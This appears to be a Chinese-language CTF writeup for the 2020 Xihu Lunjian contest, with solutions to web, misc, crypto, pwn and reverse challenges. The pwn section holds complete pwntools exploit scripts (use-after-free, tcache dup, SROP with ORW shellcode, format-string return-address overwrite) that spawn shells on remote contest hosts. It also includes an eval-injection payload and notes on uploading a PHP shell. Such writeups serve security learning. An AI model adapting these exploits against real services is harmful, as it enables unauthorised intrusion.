2020 西湖论剑Writeup

WEB

EasyJson

unicode绕下过滤就行，默认会进行html编码，但是 `<` 没被过滤。

可以直接传php后缀，照常getshell后执行readflag即可得到flag。

MISC

签到

B站视频处有flag。

Yusapapa

```
把webp转换为png后，用stegpy工具，包含一行信息
the_password_is:Yus@_1s_YYddddsstegpy encode.webp the_key_is:Yus@_yydsstegpy!!
```

Crypto

BrokenSystems

```
维纳攻击，公钥文件中获取到e很大，利用维纳攻击可以拿到d，https://github.com/pablocelayes/rsa-wiener-attack
然后利用e、d、n获取p、q，生成私钥文件
```

```
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse, long_to_bytes
```

```
e = 3683191938452247871641914583009119792552938079110383367782698429399084083048335018186915282465581498846777124014232879019914546010406868697694661244001972931366227108140590201194336470785929194895915077935083045957890179080332615291089360169761324533970721460473221959270664692795701362942487885620152952927112838769014944652059440137350285198702402612151501564899791870051001152984815689187374906618917967106000628810361686645504356294175173529719443860140795170776862320812544438211122891112138748710073230404456268507750721647637959502454394140328030018450883598342764577147457231373121223878829298942493059211583
d = 1779217788383673416690068487595062922771414230914791138743960472798057054853883175313487137767631446949382388070798609545617543049566741624609996040273727
n = 24493816160588971749455534346389861269947121809901305744877671102517333076424951483888863597563544011725032585417200878377314372325231470164799594965293350352923195632229495874587039720317200655351788887974047948082357232348155828924230567816817425104960545706688263839042183224681231800805037117758927837949941052360649778743187012198508745207332696876463490071925421229447425456903529626946628855874075846839745388326224970202749994059533831664092151570836853681204646481502222112116971464211748086292930029540995987019610460396057955900244074999111267618452967579699626655472948383601391620012180211885979095636919
p=1637242170689730258570795456770485875081641026442986329114944740222245822180670573491892114626324278290877204760130526650371992326580151947185007509612610165586053631030921875330869499031454490570152205616981955021637921920557621088037143871755942318597382638390903387625780405134515854215373234164720607889899
q=149604112324264915811376746906108325951188179904814259006959765070266946659481820938211689946210254302179197289522748397160602946376246768419310765669852537378426700376878745285639531531077237124655345323906476180103106894642043615024716862503414785057646920410083538192951872861366496901158348770066798098371
keypair = RSA.generate(2048)
keypair.p = p
keypair.q = q
keypair.e = e
keypair.n = n
keypair.d = d

private_key = keypair.exportKey().decode('utf-8')
f = open('pri.pem', 'w')
f.write(private_key)
```

openssl解密即可。

CTF小白的密码系统

```
非预期，直接利用eval拿flag
解密，发送iv：0,self.request.send(flag.encode())
可以直接拿shell，但是，每个队伍独立靶机，搅屎就没啥意义了，没劲儿。
```

Pwn

mmutag

存在uaf，利用read覆盖canary低一字节，printf泄露canary，然后利用uaf打栈空间修改rbp，再利用read和printf泄露libc地址，最后直接修改返回地址执行system("/bin/sh")，getshell：

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
prog = './mmutag'
#p = process(prog)
libc = ELF("libc.so.6")
p = remote("183.129.189.61",50804)
```

```
def add(idx, content='a'):
    p.sendlineafter(" choise:", "1")
    p.sendlineafter("id:", str(idx))
    p.sendlineafter("content", content)
def free(idx):
    p.sendlineafter(" choise:", "2")
    p.sendlineafter("id:", str(idx))




def exp():
    p.sendlineafter("name:", 'aaa')
    p.recvuntil("tag: 0x")
    stack = int(p.recv(12), 16)
    print hex(stack)
    p.sendlineafter(" your choice:", '2')
    p.sendlineafter(" choise:", "3")
    p.send("a"*0x19)
    p.recvuntil("a"*0x19)
    canary = u64('\x00'+p.recv(7))
    print hex(canary)

    p.sendlineafter(" choise:", "3")
    p.send("a"*0x8+p64(0)+p64(0x71)+'\x00')


    add(1)
    add(2)
    free(1)
    free(2)
    free(1)


    ret_addr=stack-0x7ffe63613a50+0x7ffe63613a38
    print hex(ret_addr)


    add(3, p64(ret_addr-0x20))
    add(4)
    add(5)
    add(6, p64(canary)+p64(ret_addr+0x50-1)+p64(0x400b44))
    p.sendlineafter(" choise:", "4")
    p.send("1")
    libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00'*2)-0x7f4223f40840+0x7f4223f20000


    print hex(libc_base)
    p.sendlineafter(" choise:", "3")
    p.send(p64(0)+p64(0x71)+p64(canary)*2)
    ta = ret_addr-0x7ffdc62b5f08+0x7ffdc62b5f37


    free(3)
    free(4)
    free(3)
    add(7, p64(ta))
    add(8)
    add(9)
    add(10, p64(canary)*3+p64(0x400d23)+p64(libc_base+libc.search('/bin/sh').next())+p64(libc_base+libc.sym['system']))
    p.interactive()
if __name__ == '__main__':
    exp()
```

ezhttp

程序有沙盒，但释放堆后未将堆指针清0，利用几次tcache dup修改_IO_2_1_stdout_结构体IO_write_base低字节来leak，然后修改free_hook为setcontext+53，摆放好chunk内容从而利用gadget设置寄存器，read将orw shellcode读入并执行，获得flag。

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
prog = './ezhttp'
libc = ELF("./libc-2.27.so")
def add(content):
    packet = '''POST /create
            Cookie: user=admin
            token: \r\n\r\ncontent=%s
    '''%content
    p.sendlineafter("packet to me:",packet)
def edit(idx, content):
    packet = '''POST /edit
            Cookie: user=admin
            token: \r\n\r\nindex=%s&content=%s
    '''%(str(idx),content)
    p.sendlineafter("packet to me:",packet)
def free(idx):
    packet = '''POST /del
            Cookie: user=admin
            token: \r\n\r\nindex=%s
    '''%str(idx)


    p.sendlineafter("packet to me:",packet)
def exp():
    add('1'*0x100)#0
    p.recvuntil("Your gift: 0x")
    heap_addr = int(p.recv(12),16)
    print hex(heap_addr)
    add('111')#1

    for i in range(8):
        free(0)
    add('\x60\x57')#2
    free(1)
    free(1)
    free(1)
    free(1)
    add(p64(heap_addr))#3
    add('1')#4
    add('\x80')#5
    add(p64(0xfbad1887))#6
    #gdb.attach(p)
    free(1)
    free(1)
    free(1)
    free(1)
    add(p64(heap_addr))#7
    add('1')#8
    add('1')#9
    add('\x01')#10


    libc.address = u64(p.recvuntil("\x7f",timeout=0.1)[-6:]+'\x00'*2)-0x7ffff7dd18b0+0x7ffff79e4000


    print hex(libc.address)
    free(1)
    free(1)
    add(p64(libc.sym['__free_hook']))#11
    add('1')#12
    add(p64(libc.sym['setcontext']+53))#13
    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = (libc.sym['__free_hook'])&0xfffffffffffff000
    frame.rdx = 0x2000
    frame.rsp = (libc.sym['__free_hook'])&0xfffffffffffff000
    frame.rip = libc.address + 0xd29d5
    payload = str(frame)
    print len(payload)
    add('1'*0x100)#14
    edit(14, payload)
    free(14)
    payload = p64(libc.address + 0xee0e3)+p64(libc.sym['__free_hook']&0xfffffffffffff000)+p64(libc.address + 0x23e8a)
    payload += p64(0x2000)+p64(libc.address + 0x1b96)+p64(7)+p64(libc.address + 0x43a78)
    payload += p64(10)+p64(libc.address + 0xd29d5)+p64(libc.address+0x2b1d)


    shellcode  = shellcraft.amd64.open("flag\x00",0)
    shellcode += shellcraft.amd64.read(4,heap_addr,0x30)
    shellcode += shellcraft.amd64.write(1,heap_addr,0x30)
    p.send(payload + asm(shellcode))

    p.interactive()
if __name__ == '__main__':
    while(1):
        try:
            global p
            p = remote("183.129.189.62", 59102)
            exp()
        except:
            p.close()
```

managesystem

32位小段Mips程序，堆可以溢出8字节，但是限制了max_fast，可以利用溢出来修改下一个chunk的size和fd位，查找ulibc源码，在malloc_state结构体中，max_fast位于fastbins上方，且index定义为：

```
#define fastbin_index(sz)((((unsigned int)(sz)) >> 3) - 2)
```

如果我们将size改为8，并释放，则会将chunk落入fastbins[-1]的位置，也就是修改max_fast为堆地址，于是我们就可以愉快的使用fastbins attack，我是直接修改指针数组，来泄露libc并修改free_got，来getshell。

```
#!/usr/bin/env python
```

```
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
libc = ELF("./lib/libc.so.0")
p = remote("183.129.189.61", 56003)
def add(size, content='a'):
    p.sendlineafter(" >>", "1")
    p.sendlineafter("length:", str(size))
    p.sendlineafter("info:", content)
def show(idx):
    p.sendlineafter(" >>", "4")
    p.sendlineafter("show:", str(idx))
def edit(idx, content):
    p.sendlineafter(" >>", "3")
    p.sendlineafter("edit:", str(idx))
    p.sendlineafter("info:", content)
def free(idx):
    p.sendlineafter(" >>", "2")
    p.sendlineafter("user: ", str(idx))


def exp():
    add(0x10)#0
    add(0x10)#1
    add(0xc)#2
    add(0xc)#3
    edit(0, '/bin/sh\x00'+'a'*0x8+p32(0)+p32(9))
    free(1)
    free(3)
    edit(2, 'a'*0xc+p32(0x11)+p32(0x411830))
    add(0xc)#1
    add(0xc, p32(0x4117b4)+p32(4))
    edit(3,p32(0x4117b4)+p32(4))
    show(1)
    p.recvuntil("info: ")
    libc_base = u32(p.recv(4))-0x7679fb68+0x76749000


    print hex(libc_base)
    edit(1, p32(libc_base+0x5f8f0))
    free(0)

    p.interactive()
if __name__ == '__main__':
    exp()
```

noleakfmt

格式化字符串漏洞，没法leak，且存在死循环，考虑修改printf中的某个地址来一次性修改get shell，发现在printf_positional函数中，其返回地址可以被我们控制并且使用，重要的是只需要通过覆写低两字节即可修改为one_gadget，由于close(1)的缘故，只可以修改为小于0x2000的地址，爆破一下即可，然后cat flag>&2读取flag。

```
from pwn import *

while(1):
    try:
        p = remote("183.129.189.62", 58905)
        p.recvuntil("gift : 0x")
        stack = int(p.recv(12), 16)
        print hex(stack)
        target = (stack-0x7fffffffdd54+0x7fffffffafe8)&0xffff#0x7fffffffb598
        payload = '%'+str(target)+'c%11$hn'
        if target>0x2000:
            raise Exception
        p.sendline(payload)
        payload = '%'+str(0x27a)+'c%37$hn'
        p.sendline(payload)
        p.interactive()
    except:
        p.close()
```

Reverse

flow

是个srop，这里选择动调，发现输入先两两分组，分组后，先经过rc4加密，然后又经过一个32轮的tea加密，加密算法好像都没魔改，网上找了几个解密脚本拼接一下跑出来了。

```
#include <stdio.h>
#include <stdint.h>
void tea_encrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;
    uint32_t delta=0x9e3779b9;
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
    for (i=0; i < 32; i++) {
        sum += delta;
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }
    v[0]=v0; v[1]=v1;
}
void tea_decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum, i;
    uint32_t delta=0x9e3779b9;
    sum=delta<<5;
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
    for (i=0; i<32; i++) {
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }
    v[0]=v0; v[1]=v1;
}
void rc4_decry(unsigned char* C,unsigned char* key)  //这个直接网上copy的cpp代码233，rc4解密
{
    int S[256];
    int T[256];
    for(int i = 0; i < 256; i++)
    {
        S[i] = i;
        int tmp = i % 8;
        T[i] = key[tmp];
    }

    int j = 0;

    for(int  i = 0; i < 256; i++)
    {
        j = (j + S[i] + T[i]) % 256;
        int tmp;
        tmp = S[j];
        S[j] = S[i];
        S[i] = tmp;
    }
    int i;
    i=0,j=0;
    for(int p = 0; p < 16; p++)
    {

        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        int tmp;
        tmp = S[j];
        S[j] = S[i];
        S[i] = tmp;

        int k = S[(S[i] + S[j]) % 256];
        C[p]=C[p]^k;
    }
}
int main()
{
    unsigned int tea_key[4] = {
   0xDEADBEEF,0xAA114514,0x79757361,0x79796473
    };  //解密tea算法的4个key

    unsigned int c[4] = {
    0x189BE35C, 0x1109831A,0x3E530874, 0x4B8898EB
    };  //密文
    // c为要加密的数据是两个32位无符号整数
    // k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
    //printf("加密前原始数据：%u %u\n",v[0],v[1]);
    //encrypt(v, k);
    //printf("加密后的数据：%u %u\n",v[0],v[1]);
   unsigned char rc4_key[]={0xDC,0xEA,0x96,0xF3,0x23,0xCA,0x90,0x5E}; //rc4的密钥
    tea_decrypt(&c[0],tea_key);
    tea_decrypt(&c[2], tea_key);
     unsigned char *result=(unsigned char*)c;
     rc4_decry(result,rc4_key);
     printf("flag:\n");
     for(int i=0;i<16;i++)
     {
         printf("%02x",result[i]);
     }
}
```